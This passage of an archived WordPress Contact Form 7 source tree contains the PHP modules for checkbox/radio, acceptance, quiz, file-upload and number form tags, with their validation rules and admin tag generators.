		if ( ! is_array( $field_values ) ) { // Maybe 'free_text'
			continue;
		}

		$field_values = array_map(
			static function ( $value ) {
				return html_entity_decode(
					(string) $value,
					ENT_QUOTES | ENT_HTML5,
					'UTF-8'
				);
			},
			$field_values
		);

		$field_values = array_filter(
			array_unique( $field_values ),
			static function ( $value ) {
				return '' !== $value;
			}
		);

		$schema->add_rule(
			wpcf7_swv_create_rule( 'enum', array(
				'field' => $field,
				'accept' => array_values( $field_values ),
				'error' => $contact_form->filter_message(
					__( "Undefined value was submitted through this field.", 'contact-form-7' )
				),
			) )
		);
	}
}


add_filter( 'wpcf7_posted_data_checkbox',
	'wpcf7_posted_data_checkbox',
	10, 3
);

add_filter( 'wpcf7_posted_data_checkbox*',
	'wpcf7_posted_data_checkbox',
	10, 3
);

add_filter( 'wpcf7_posted_data_radio',
	'wpcf7_posted_data_checkbox',
	10, 3
);

function wpcf7_posted_data_checkbox( $value, $value_orig, $form_tag ) {
	if ( $form_tag->has_option( 'free_text' ) ) {
		$value = (array) $value;

		$free_text_name = sprintf( '_wpcf7_free_text_%s', $form_tag->name );
		$free_text = wp_unslash( $_POST[$free_text_name] ?? '' );

		$last_val = array_pop( $value );

		if ( isset( $last_val ) ) {
			$last_val = sprintf( '%s %s', $last_val, $free_text );
			$value[] = trim( $last_val );
		}
	}

	return $value;
}


/* Tag generator */

add_action( 'wpcf7_admin_init',
	'wpcf7_add_tag_generator_checkbox_and_radio', 30, 0 );

function wpcf7_add_tag_generator_checkbox_and_radio() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$basetypes = array(
		'checkbox' => __( 'checkboxes', 'contact-form-7' ),
		'radio' => __( 'radio buttons', 'contact-form-7' ),
	);

	foreach ( $basetypes as $id => $title ) {
		$tag_generator->add( $id, $title,
			'wpcf7_tag_generator_checkbox',
			array( 'version' => '2' )
		);
	}
}

function wpcf7_tag_generator_checkbox( $contact_form, $options ) {
	$field_types = array(
		'checkbox' => array(
			'display_name' => __( 'Checkboxes', 'contact-form-7' ),
			'heading' => __( 'Checkboxes form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a group of <a href="https://contactform7.com/checkboxes-radio-buttons-and-menus/">checkboxes</a>.', 'contact-form-7' ),
		),
		'radio' => array(
			'display_name' => __( 'Radio buttons', 'contact-form-7' ),
			'heading' => __( 'Radio buttons form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a group of <a href="https://contactform7.com/checkboxes-radio-buttons-and-menus/">radio buttons</a>.', 'contact-form-7' ),
		),
	);

	$basetype = $options['id'];

	if ( ! in_array( $basetype, array_keys( $field_types ) ) ) {
		$basetype = 'checkbox';
	}

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types[$basetype]['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types[$basetype]['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'with_required' => 'checkbox' === $basetype,
			'select_options' => array(
				$basetype => $field_types[$basetype]['display_name'],
			),
		) );

		$tgg->print( 'field_name' );

		$tgg->print( 'class_attr' );

		$tgg->print( 'selectable_values', array(
			'use_label_element' => 'checked',
		) );
	?>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/acceptance.php000064400000016615147510273060013571 0ustar00<?php
/**
** A base module for [acceptance]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_acceptance', 10, 0 );

function wpcf7_add_form_tag_acceptance() {
	wpcf7_add_form_tag( 'acceptance',
		'wpcf7_acceptance_form_tag_handler',
		array(
			'name-attr' => true,
			'selectable-values' => true,
		)
	);
}

function wpcf7_acceptance_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	if ( $tag->has_option( 'invert' ) ) {
		$class .= ' invert';
	}

	if ( $tag->has_option( 'optional' ) ) {
		$class .= ' optional';
	}

	$atts = array(
		'class' => trim( $class ),
	);

	$item_atts = array(
		'type' => 'checkbox',
		'name' => $tag->name,
		'value' => '1',
		'tabindex' => $tag->get_option( 'tabindex', 'signed_int', true ),
		'checked' => $tag->has_option( 'default:on' ),
		'class' => $tag->get_class_option() ? $tag->get_class_option() : null,
		'id' => $tag->get_id_option(),
	);

	if ( $validation_error ) {
		$item_atts['aria-invalid'] = 'true';
		$item_atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$item_atts['aria-invalid'] = 'false';
	}

	$item_atts = wpcf7_format_atts( $item_atts );

	$content = empty( $tag->content )
		? (string) reset( $tag->values )
		: $tag->content;

	$content = trim( $content );

	if ( $content ) {
		if ( $tag->has_option( 'label_first' ) ) {
			$html = sprintf(
				'<span class="wpcf7-list-item-label">%2$s</span><input %1$s />',
				$item_atts,
				$content
			);
		} else {
			$html = sprintf(
				'<input %1$s /><span class="wpcf7-list-item-label">%2$s</span>',
				$item_atts,
				$content
			);
		}

		$html = sprintf(
			'<span class="wpcf7-list-item"><label>%s</label></span>',
			$html
		);

	} else {
		$html = sprintf(
			'<span class="wpcf7-list-item"><input %1$s /></span>',
			$item_atts
		);
	}

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><span %2$s>%3$s</span>%4$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$html,
		$validation_error
	);

	return $html;
}


/* Validation filter */

add_filter( 'wpcf7_validate_acceptance',
	'wpcf7_acceptance_validation_filter', 10, 2 );

function wpcf7_acceptance_validation_filter( $result, $tag ) {
	if ( ! wpcf7_acceptance_as_validation() ) {
		return $result;
	}

	if ( $tag->has_option( 'optional' ) ) {
		return $result;
	}

	$name = $tag->name;
	$value = ( ! empty( $_POST[$name] ) ? 1 : 0 );

	$invert = $tag->has_option( 'invert' );

	if ( $invert and $value
	or ! $invert and ! $value ) {
		$result->invalidate( $tag, wpcf7_get_message( 'accept_terms' ) );
	}

	return $result;
}


/* Acceptance filter */

add_filter( 'wpcf7_acceptance', 'wpcf7_acceptance_filter', 10, 2 );

function wpcf7_acceptance_filter( $accepted, $submission ) {
	$tags = wpcf7_scan_form_tags( array( 'type' => 'acceptance' ) );

	foreach ( $tags as $tag ) {
		$name = $tag->name;

		if ( empty( $name ) ) {
			continue;
		}

		$value = ( ! empty( $_POST[$name] ) ? 1 : 0 );

		$content = empty( $tag->content )
			? (string) reset( $tag->values )
			: $tag->content;

		$content = trim( $content );

		if ( $value and $content ) {
			$submission->add_consent( $name, $content );
		}

		if ( $tag->has_option( 'optional' ) ) {
			continue;
		}

		$invert = $tag->has_option( 'invert' );

		if ( $invert and $value
		or ! $invert and ! $value ) {
			$accepted = false;
		}
	}

	return $accepted;
}

add_filter( 'wpcf7_form_class_attr',
	'wpcf7_acceptance_form_class_attr', 10, 1 );

function wpcf7_acceptance_form_class_attr( $class_attr ) {
	if ( wpcf7_acceptance_as_validation() ) {
		return $class_attr . ' wpcf7-acceptance-as-validation';
	}

	return $class_attr;
}

function wpcf7_acceptance_as_validation() {
	if ( ! $contact_form = wpcf7_get_current_contact_form() ) {
		return false;
	}

	return $contact_form->is_true( 'acceptance_as_validation' );
}

add_filter( 'wpcf7_mail_tag_replaced_acceptance',
	'wpcf7_acceptance_mail_tag', 10, 4 );

function wpcf7_acceptance_mail_tag( $replaced, $submitted, $html, $mail_tag ) {
	$form_tag = $mail_tag->corresponding_form_tag();

	if ( ! $form_tag ) {
		return $replaced;
	}

	if ( ! empty( $submitted ) ) {
		$replaced = __( 'Consented', 'contact-form-7' );
	} else {
		$replaced = __( 'Not consented', 'contact-form-7' );
	}

	$content = empty( $form_tag->content )
		? (string) reset( $form_tag->values )
		: $form_tag->content;

	if ( ! $html ) {
		$content = wp_strip_all_tags( $content );
	}

	$content = trim( $content );

	if ( $content ) {
		$replaced = sprintf(
			/* translators: 1: 'Consented' or 'Not consented', 2: conditions */
			_x( '%1$s: %2$s', 'mail output for acceptance checkboxes',
				'contact-form-7' ),
			$replaced,
			$content
		);
	}

	return $replaced;
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_acceptance', 35, 0 );

function wpcf7_add_tag_generator_acceptance() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'acceptance', __( 'acceptance', 'contact-form-7' ),
		'wpcf7_tag_generator_acceptance',
	 	array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_acceptance( $contact_form, $options ) {
	$field_types = array(
		'acceptance' => array(
			'display_name' => __( 'Acceptance checkbox', 'contact-form-7' ),
			'heading' => __( 'Acceptance checkbox form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for an <a href="https://contactform7.com/acceptance-checkbox/">acceptance checkbox</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['acceptance']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['acceptance']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<fieldset>
		<legend id="<?php echo esc_attr( $tgg->ref( 'type-legend' ) ); ?>"><?php
			echo esc_html( __( 'Field type', 'contact-form-7' ) );
		?></legend>

		<select data-tag-part="basetype" aria-labelledby="<?php echo esc_attr( $tgg->ref( 'type-legend' ) ); ?>"><?php
			echo sprintf(
				'<option %1$s>%2$s</option>',
				wpcf7_format_atts( array(
					'value' => 'acceptance',
				) ),
				esc_html( $field_types['acceptance']['display_name'] )
			);
		?></select>
		<br />
		<label>
			<input type="checkbox" data-tag-part="option" data-tag-option="optional" checked="checked" />
			<?php echo esc_html( __( "This checkbox is optional.", 'contact-form-7' ) ); ?>
		</label>
	</fieldset>

	<?php
		$tgg->print( 'field_name' );

		$tgg->print( 'class_attr' );
	?>

	<fieldset>
		<legend id="<?php echo esc_attr( $tgg->ref( 'value-legend' ) ); ?>"><?php
			echo esc_html( __( 'Condition', 'contact-form-7' ) );
		?></legend>
		<?php
			echo sprintf(
				'<input %s />',
				wpcf7_format_atts( array(
					'type' => 'text',
					'required' => true,
					'value' => __( 'Put the condition for consent here.', 'contact-form-7' ),
					'data-tag-part' => 'content',
					'aria-labelledby' => $tgg->ref( 'value-legend' ),
				) )
			);
		?>
	</fieldset>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/quiz.php000064400000014450147510273060012466 0ustar00<?php
/**
** A base module for [quiz]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_quiz', 10, 0 );

function wpcf7_add_form_tag_quiz() {
	wpcf7_add_form_tag( 'quiz',
		'wpcf7_quiz_form_tag_handler',
		array(
			'name-attr' => true,
			'do-not-store' => true,
			'not-for-mail' => true,
		)
	);
}

function wpcf7_quiz_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['size'] = $tag->get_size_option( '40' );
	$atts['maxlength'] = $tag->get_maxlength_option();
	$atts['minlength'] = $tag->get_minlength_option();

	if ( $atts['maxlength'] and $atts['minlength']
	and $atts['maxlength'] < $atts['minlength'] ) {
		unset( $atts['maxlength'], $atts['minlength'] );
	}

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
	$atts['autocomplete'] = 'off';
	$atts['aria-required'] = 'true';

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$pipes = $tag->pipes;

	if ( $pipes instanceof WPCF7_Pipes
	and ! $pipes->zero() ) {
		$pipe = $pipes->random_pipe();
		$question = $pipe->before;
		$answer = $pipe->after;
	} else {
		// default quiz
		$question = '1+1=?';
		$answer = '2';
	}

	$answer = wpcf7_canonicalize( $answer, array(
		'strip_separators' => true,
	) );

	$atts['type'] = 'text';
	$atts['name'] = $tag->name;

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><label><span class="wpcf7-quiz-label">%2$s</span> <input %3$s /></label><input type="hidden" name="_wpcf7_quiz_answer_%4$s" value="%5$s" />%6$s</span>',
		esc_attr( $tag->name ),
		esc_html( $question ),
		wpcf7_format_atts( $atts ),
		$tag->name,
		wp_hash( $answer, 'wpcf7_quiz' ),
		$validation_error
	);

	return $html;
}


/* Validation filter */

add_filter( 'wpcf7_validate_quiz', 'wpcf7_quiz_validation_filter', 10, 2 );

function wpcf7_quiz_validation_filter( $result, $tag ) {
	$name = $tag->name;

	$answer = wp_unslash( $_POST[$name] ?? '' );

	$answer = wpcf7_canonicalize( $answer, array(
		'strip_separators' => true,
	) );

	$answer_hash = wp_hash( $answer, 'wpcf7_quiz' );

	$expected_hash = (string) ( $_POST['_wpcf7_quiz_answer_' . $name] ?? '' );

	if ( ! hash_equals( $expected_hash, $answer_hash ) ) {
		$result->invalidate( $tag, wpcf7_get_message( 'quiz_answer_not_correct' ) );
	}

	return $result;
}


/* Ajax echo filter */

add_filter( 'wpcf7_refill_response', 'wpcf7_quiz_ajax_refill', 10, 1 );
add_filter( 'wpcf7_feedback_response', 'wpcf7_quiz_ajax_refill', 10, 1 );

function wpcf7_quiz_ajax_refill( $items ) {
	if ( ! is_array( $items ) ) {
		return $items;
	}

	$fes = wpcf7_scan_form_tags( array( 'type' => 'quiz' ) );

	if ( empty( $fes ) ) {
		return $items;
	}

	$refill = array();

	foreach ( $fes as $fe ) {
		$name = $fe['name'];
		$pipes = $fe['pipes'];

		if ( empty( $name ) ) {
			continue;
		}

		if ( $pipes instanceof WPCF7_Pipes
		and ! $pipes->zero() ) {
			$pipe = $pipes->random_pipe();
			$question = $pipe->before;
			$answer = $pipe->after;
		} else {
			// default quiz
			$question = '1+1=?';
			$answer = '2';
		}

		$answer = wpcf7_canonicalize( $answer, array(
			'strip_separators' => true,
		) );

		$refill[$name] = array( $question, wp_hash( $answer, 'wpcf7_quiz' ) );
	}

	if ( ! empty( $refill ) ) {
		$items['quiz'] = $refill;
	}

	return $items;
}


/* Messages */

add_filter( 'wpcf7_messages', 'wpcf7_quiz_messages', 10, 1 );

function wpcf7_quiz_messages( $messages ) {
	$messages = array_merge( $messages, array(
		'quiz_answer_not_correct' => array(
			'description' =>
				__( "Sender does not enter the correct answer to the quiz", 'contact-form-7' ),
			'default' =>
				__( "The answer to the quiz is incorrect.", 'contact-form-7' ),
		),
	) );

	return $messages;
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_quiz', 40, 0 );

function wpcf7_add_tag_generator_quiz() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'quiz', __( 'quiz', 'contact-form-7' ),
		'wpcf7_tag_generator_quiz',
	 	array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_quiz( $contact_form, $options ) {
	$field_types = array(
		'quiz' => array(
			'display_name' => __( 'Quiz', 'contact-form-7' ),
			'heading' => __( 'Quiz form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/quiz/">quiz</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['quiz']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['quiz']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'select_options' => array(
				'quiz' => $field_types['quiz']['display_name'],
			),
		) );

		$tgg->print( 'field_name' );

		$tgg->print( 'class_attr' );
	?>

	<fieldset>
		<legend id="<?php echo esc_attr( $tgg->ref( 'selectable-values-legend' ) ); ?>"><?php
			echo esc_html( __( 'Questions and answers', 'contact-form-7' ) );
		?></legend>
		<?php
			echo sprintf(
				'<span %1$s>%2$s</span>',
				wpcf7_format_atts( array(
					'id' => $tgg->ref( 'selectable-values-description' ),
				) ),
				esc_html( __( "One pipe-separated question-answer pair (question|answer) per line.", 'contact-form-7' ) )
			);
		?>
		<br />
		<?php
			echo sprintf(
				'<textarea %1$s>%2$s</textarea>',
				wpcf7_format_atts( array(
					'required' => true,
					'data-tag-part' => 'value',
					'aria-labelledby' => $tgg->ref( 'selectable-values-legend' ),
					'aria-describedby' => $tgg->ref( 'selectable-values-description' ),
				) ),
				esc_html( __( "The capital of Brazil? | Rio", 'contact-form-7' ) )
			);
		?>
	</fieldset>

</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );
	?>
</footer>
<?php
}
contact-form-7/modules/file.php000064400000014326147510273060012417 0ustar00<?php
/**
** A base module for [file] and [file*]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_file', 10, 0 );

function wpcf7_add_form_tag_file() {
	wpcf7_add_form_tag( array( 'file', 'file*' ),
		'wpcf7_file_form_tag_handler',
		array(
			'name-attr' => true,
			'file-uploading' => true,
		)
	);
}

function wpcf7_file_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['size'] = $tag->get_size_option( '40' );
	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['capture'] = $tag->get_option( 'capture', '(user|environment)', true );
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );

	$atts['accept'] = wpcf7_acceptable_filetypes(
		$tag->get_option( 'filetypes' ), 'attr'
	);

	if ( $tag->is_required() ) {
		$atts['aria-required'] = 'true';
	}

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$atts['type'] = 'file';
	$atts['name'] = $tag->name;

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><input %2$s />%3$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$validation_error
	);

	return $html;
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_file_rules',
	10, 2
);

function wpcf7_swv_add_file_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'file' ),
	) );

	foreach ( $tags as $tag ) {
		if ( $tag->is_required() ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'requiredfile', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_required' ),
				) )
			);
		}

		$schema->add_rule(
			wpcf7_swv_create_rule( 'file', array(
				'field' => $tag->name,
				'accept' => explode( ',', wpcf7_acceptable_filetypes(
					$tag->get_option( 'filetypes' ), 'attr'
				) ),
				'error' => wpcf7_get_message( 'upload_file_type_invalid' ),
			) )
		);

		$schema->add_rule(
			wpcf7_swv_create_rule( 'maxfilesize', array(
				'field' => $tag->name,
				'threshold' => $tag->get_limit_option(),
				'error' => wpcf7_get_message( 'upload_file_too_large' ),
			) )
		);
	}
}


add_filter( 'wpcf7_mail_tag_replaced_file', 'wpcf7_file_mail_tag', 10, 4 );
add_filter( 'wpcf7_mail_tag_replaced_file*', 'wpcf7_file_mail_tag', 10, 4 );

function wpcf7_file_mail_tag( $replaced, $submitted, $html, $mail_tag ) {
	$submission = WPCF7_Submission::get_instance();
	$uploaded_files = $submission->uploaded_files();
	$name = $mail_tag->field_name();

	if ( ! empty( $uploaded_files[$name] ) ) {
		$paths = (array) $uploaded_files[$name];
		$paths = array_map( 'wp_basename', $paths );

		$replaced = wpcf7_flat_join( $paths, array(
			'separator' => wp_get_list_item_separator(),
		) );
	}

	return $replaced;
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_file', 50, 0 );

function wpcf7_add_tag_generator_file() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'file', __( 'file', 'contact-form-7' ),
		'wpcf7_tag_generator_file',
	 	array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_file( $contact_form, $options ) {
	$field_types = array(
		'file' => array(
			'display_name' => __( 'File uploading field', 'contact-form-7' ),
			'heading' => __( 'File uploading field form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/file-uploading-and-attachment/">file uploading field</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['file']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['file']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'with_required' => true,
			'select_options' => array(
				'file' => $field_types['file']['display_name'],
			),
		) );

		$tgg->print( 'field_name' );

		$tgg->print( 'class_attr' );
	?>

	<fieldset>
		<legend id="<?php echo esc_attr( $tgg->ref( 'filetypes-option-legend' ) ); ?>"><?php
			echo esc_html( __( 'Acceptable file types', 'contact-form-7' ) );
		?></legend>
		<label><?php
		echo sprintf(
			'<span %1$s>%2$s</span><br />',
			wpcf7_format_atts( array(
				'id' => $tgg->ref( 'filetypes-option-description' ),
			) ),
			esc_html( __( "Pipe-separated file types list. You can use file extensions and MIME types.", 'contact-form-7' ) )
		);

		echo sprintf(
			'<input %s />',
			wpcf7_format_atts( array(
				'type' => 'text',
				'pattern' => '[0-9a-z*\/\|]*',
				'value' => 'audio/*|video/*|image/*',
				'aria-labelledby' => $tgg->ref( 'filetypes-option-legend' ),
				'aria-describedby' => $tgg->ref( 'filetypes-option-description' ),
				'data-tag-part' => 'option',
				'data-tag-option' => 'filetypes:',
			) )
		);
		?></label>
	</fieldset>

	<fieldset>
		<legend id="<?php echo esc_attr( $tgg->ref( 'limit-option-legend' ) ); ?>"><?php
			echo esc_html( __( 'File size limit', 'contact-form-7' ) );
		?></legend>
		<label><?php
		echo sprintf(
			'<span %1$s>%2$s</span><br />',
			wpcf7_format_atts( array(
				'id' => $tgg->ref( 'limit-option-description' ),
			) ),
			esc_html( __( "In bytes. You can use kb and mb suffixes.", 'contact-form-7' ) )
		);

		echo sprintf(
			'<input %s />',
			wpcf7_format_atts( array(
				'type' => 'text',
				'pattern' => '[1-9][0-9]*([kKmM]?[bB])?',
				'value' => '1mb',
				'aria-labelledby' => $tgg->ref( 'limit-option-legend' ),
				'aria-describedby' => $tgg->ref( 'limit-option-description' ),
				'data-tag-part' => 'option',
				'data-tag-option' => 'limit:',
			) )
		);
		?></label>
	</fieldset>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/number.php000064400000014441147510273060012766 0ustar00<?php
/**
** A base module for the following types of tags:
** 	[number] and [number*]		# Number
** 	[range] and [range*]		# Range
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_number', 10, 0 );

function wpcf7_add_form_tag_number() {
	wpcf7_add_form_tag( array( 'number', 'number*', 'range', 'range*' ),
		'wpcf7_number_form_tag_handler',
		array(
			'name-attr' => true,
		)
	);
}

function wpcf7_number_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	$class .= ' wpcf7-validates-as-number';

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
	$atts['min'] = $tag->get_option( 'min', 'signed_num', true );
	$atts['max'] = $tag->get_option( 'max', 'signed_num', true );
	$atts['step'] = $tag->get_option( 'step', 'num', true );
	$atts['readonly'] = $tag->has_option( 'readonly' );

	$atts['autocomplete'] = $tag->get_option(
		'autocomplete', '[-0-9a-zA-Z]+', true
	);

	if ( $tag->is_required() ) {
		$atts['aria-required'] = 'true';
	}

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$value = (string) reset( $tag->values );

	if ( $tag->has_option( 'placeholder' )
	or $tag->has_option( 'watermark' ) ) {
		$atts['placeholder'] = $value;
		$value = '';
	}

	$value = $tag->get_default_option( $value );

	$value = wpcf7_get_hangover( $tag->name, $value );

	$atts['value'] = $value;

	if ( 'range' === $tag->basetype ) {
		if ( ! wpcf7_is_number( $atts['min'] ) ) {
			$atts['min'] = '0';
		}

		if ( ! wpcf7_is_number( $atts['max'] ) ) {
			$atts['max'] = '100';
		}

		if ( '' === $atts['value'] ) {
			if ( $atts['min'] < $atts['max'] ) {
				$atts['value'] = ( $atts['min'] + $atts['max'] ) / 2;
			} else {
				$atts['value'] = $atts['min'];
			}
		}
	}

	$atts['type'] = $tag->basetype;
	$atts['name'] = $tag->name;

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><input %2$s />%3$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$validation_error
	);

	return $html;
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_number_rules',
	10, 2
);

function wpcf7_swv_add_number_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'number', 'range' ),
	) );

	foreach ( $tags as $tag ) {
		if ( $tag->is_required() ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'required', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_required' ),
				) )
			);
		}

		$schema->add_rule(
			wpcf7_swv_create_rule( 'number', array(
				'field' => $tag->name,
				'error' => wpcf7_get_message( 'invalid_number' ),
			) )
		);

		$min = $tag->get_option( 'min', 'signed_num', true );
		$max = $tag->get_option( 'max', 'signed_num', true );

		if ( 'range' === $tag->basetype ) {
			if ( ! wpcf7_is_number( $min ) ) {
				$min = '0';
			}

			if ( ! wpcf7_is_number( $max ) ) {
				$max = '100';
			}
		}

		if ( wpcf7_is_number( $min ) ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'minnumber', array(
					'field' => $tag->name,
					'threshold' => $min,
					'error' => wpcf7_get_message( 'number_too_small' ),
				) )
			);
		}

		if ( wpcf7_is_number( $max ) ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'maxnumber', array(
					'field' => $tag->name,
					'threshold' => $max,
					'error' => wpcf7_get_message( 'number_too_large' ),
				) )
			);
		}
	}
}


/* Messages */

add_filter( 'wpcf7_messages', 'wpcf7_number_messages', 10, 1 );

function wpcf7_number_messages( $messages ) {
	return array_merge( $messages, array(
		'invalid_number' => array(
			'description' => __( "Number format that the sender entered is invalid", 'contact-form-7' ),
			'default' => __( "Please enter a number.", 'contact-form-7' ),
		),

		'number_too_small' => array(
			'description' => __( "Number is smaller than minimum limit", 'contact-form-7' ),
			'default' => __( "This field has a too small number.", 'contact-form-7' ),
		),

		'number_too_large' => array(
			'description' => __( "Number is larger than maximum limit", 'contact-form-7' ),
			'default' => __( "This field has a too large number.", 'contact-form-7' ),
		),
	) );
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_number', 18, 0 );

function wpcf7_add_tag_generator_number() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'number', __( 'number', 'contact-form-7' ),
		'wpcf7_tag_generator_number',
	 	array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_number( $contact_form, $options ) {
	$field_types = array(
		'number' => array(
			'display_name' => __( 'Number field', 'contact-form-7' ),
			'heading' => __( 'Number field form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/number-fields/">number input field</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['number']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['number']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'with_required' => true,
			'select_options' => array(
				'number' => __( 'Spinbox', 'contact-form-7' ),
				'range' => __( 'Slider', 'contact-form-7' ),
			),
		) );

		$tgg->print( 'field_name' );

